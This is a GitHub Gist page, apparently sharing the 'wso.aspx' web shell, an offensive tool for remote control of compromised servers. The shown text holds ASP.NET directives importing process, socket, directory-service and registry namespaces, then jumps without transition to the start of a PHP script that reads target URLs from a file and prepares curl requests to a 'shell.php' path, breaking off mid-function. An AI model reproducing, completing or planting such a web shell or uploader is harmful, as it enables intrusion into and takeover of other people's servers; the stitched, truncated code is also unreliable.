Skip to content

Instantly share code, notes, and snippets.

@winstrool
winstrool / wso.aspx
Created September 12, 2016 07:49
wso.aspx shell
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>
<?php
set_time_limit(0);
error_reporting(0);
$get_url=file('url.txt');
$shell_url="http://localhost/shell.php";
function curl($url='', $post='', $referer='', $proxy='')
{
$cl = curl_init();